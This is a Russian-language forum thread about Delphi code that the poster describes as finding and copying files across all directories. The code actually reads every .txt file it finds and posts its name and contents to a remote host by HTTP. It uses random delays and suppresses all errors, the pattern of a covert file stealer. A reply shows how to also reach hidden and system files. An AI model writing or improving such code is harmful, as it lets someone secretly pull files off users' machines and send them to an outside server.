![]() |
|
#1
|
|||
|
|||
![]() Суть в том чтобы программа нашла файл по имени во всех директориях и скопировала из этих директорий все файлы с определенным расширением.
Программа работает, но только если папка не является скрытой, как только для папки выставляю атрибут "Скрытая" программа ничего не находит. В Делфи плохо разбираюсь, уже голову сломал. Помогите с заковыркой. Код: Код:
procedure Send_all(Way:String); begin try If FindFirst(Way+'*.txt',faAnyFile-faDirectory,TS)=0 then repeat If TS.Name<>'name.txt' Then begin // try ZeroMemory(@szBuf, SizeOf(szBuf)); //обнуляем массив lstrcpy(szBuf, PChar('fname='+TS.name+folder.name+'&data=')); lstrcat(szBuf, ((GetFileData(PChar(Way+TS.name))))); SendPOSTData(Host, Path, szBuf); except end; end; until FindNext(TS) <> 0; FindClose(TS); except end; end; function Search():string; var p:string; c:char; //Рекурсивный поиск файлов function FindFile(var path:string; const mask:string):boolean; var SRec:TSearchRec; retval:integer; oldlen:integer; begin Result:=true; oldlen:=length(path); retval:=FindFirst(path+mask,$3F,SRec); //faAnyFile while retval=0 do begin if ((SRec.Attr and $18)=0)then begin //faDirectory or faVolumeID Send_all(path); end; if Wait>0 then sleep(random(wait*1000)); retval:=FindNext(SRec) end; FindClose(SRec); if not Result then exit; retval:=FindFirst(path+'*.*',$10,SRec); //faDirectory while retval=0 do begin if (SRec.Attr and $10)<>0 then //faDirectory if (SRec.Name<>'.')and(SRec.Name<>'..') then begin path:=path+SRec.Name+'\'; if (not FindFile(path,mask)) then begin Result:=false; Break; end; delete(path,oldlen+1,255) end; retval:=FindNext(SRec); end; FindClose(SRec); end; Последний раз редактировалось Admin, 11.02.2010 в 10:40. |
#2
|
||||
|
||||
![]() попробуй так:
Код:
If FindFirst(Way+'*.txt',faAnyFile+faHidden+faSysFile-faDirectory,TS)=0 then РГРТУ - ФВТ - Системы Автоматизированного ПРоектирования. ت |